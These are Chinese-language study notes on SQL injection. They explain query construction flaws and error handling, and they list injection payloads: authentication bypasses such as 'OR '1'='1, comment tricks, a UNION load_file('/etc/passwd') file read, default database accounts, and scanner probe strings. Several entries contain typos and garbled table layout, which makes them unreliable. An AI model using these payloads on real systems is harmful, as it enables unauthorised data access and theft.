SQL漏洞
1.构造动态字符串
$query ="select*from table where field ='$_get["input"]' ";
request.getparameter("input")+"' ";
构造的SQL语句
select *from table where field= 'input'
1.转义字符处理不当,数据库将单引号解析成代码与数据间的分界线,还有其他特殊字符
2.数字字符,和字符串,攻击者会读取/etc/passwd文件中的内容,该文件中包含系统用户的用户名和属性
select *from table where
union all selectload_file{'/etc/passwd')--
3.查询集处理不当
数据库注入漏洞存在三个关键点:
识别web应用接收的数据输入
修改输入值以包含危险的字符串
检测服务器返回的异常
用户名 |
密码 |
作用 |
解决 |
'OR '1'='1 |
|
查询永为真 |
构造动态字符串 |
|
'OR '1'='1 |
查询永为真 |
$_GET['INPUT']' |
"、'、 、||、,、.、 |
bi'+'kes |
|
转义字符处理不当 |
LAOD_FILE('/etc/passwd') |
|
|
数据类型处理不当 |
user |
password |
Super_priv |
查询集处理不当 |
|
|
|
错误处理不当 |
url乱序排列 |
|
|
多个提交处理不当 |
root/SYSTEN/Administrator |
sa/anonymous |
SYS/DBSNMP/PUTLN |
不安全的数据库配置 |
'having 1 '=' 1 |
|
|
显示数据库语句执行信息 |
' and 1=0/user;-- |
|
与下一行,一起披露 |
显示user变量的值 |
' group by productid having 1'=' 1 |
|
出每一列列名 |
显示productid的第一列 |
'and 1=0/Password and 1 '=' 1 |
' and 1=0/User and 1 ' = ' 1 |
|
类型转换错误技术,纰漏数据 |
' and User not in('Admin') and 1=0/User and 1'='1 |
|
|
使用否定条件从结果集中排除 |
data>'01/01/2009' |
|
|
|
''or 1=1;--'AND |
'admin'OR 1=1;--'AND |
|
跳过and后的数据,忽略注释后面的查询内容 |
admin/*' AND |
'*/' |
|
|
1.缺少用户输入验证
2.数据和控制结构混合在同一传输通道
产生漏洞:堆,堆栈溢出,格式字符串问题
注入控制命令:select、 union、 and、or
数据库错误的构造和处理:
将SQL错误显示在页面上,它web浏览器可见
将SQL错误隐藏在Web页面的源代码中以便于调试
检测到错误时跳转到另一个页面
返回HTTP错误代码500(内部服务器错误)或HTTP重定向代码302
应用适当的处理错误而不显示结果,可能会显示一个通用的错误页面
数据库注释
数据库 |
注释 |
描述 |
SQL Server或者Oracle |
--(double dash) |
用于单行注释 |
|
/* */ |
用于多行注释 |
Mysql |
#或者-- double dash |
用于单行注释 |
|
/* */ |
用于多行注释 |
数据库的连接运算符
SQL Server |
'a'+'b'='ab' |
MySQL |
'a' 'b'='ab' |
Qracle |
'a'||'b'='ab' |
1.webInspect识别SQL注入漏洞时使用的特征量
'
value'OR
value'OR 5=5 OR 's's='0
value' AND 5=5 OR 's'='0
value' OR 5=0 OR 's'='0
value' AND 5=0OR 's'='0
0+value
value AND 5=5
value AND 5=0
value OR 5=5 OR 4=0
value OR 5=0 OR 4=0
2.Appscan,识别SQL注入漏洞使用的特征值
WF'SQL"Probe;A-B |
'+'somechars |
' |
'and 'barfoo'='foobar')-- |
'hacing 1=1-- |
somechars'+' |
'; |
'and 'barfoo'='foobar'-- |
a having 1=1-- |
somechars'||' |
) |
'or'foobar'='foobar'-- |
\'having 1=1-- |
'||'somechars |
\' |
'or'foobar'='foobar')-- |
.... |
|
|
|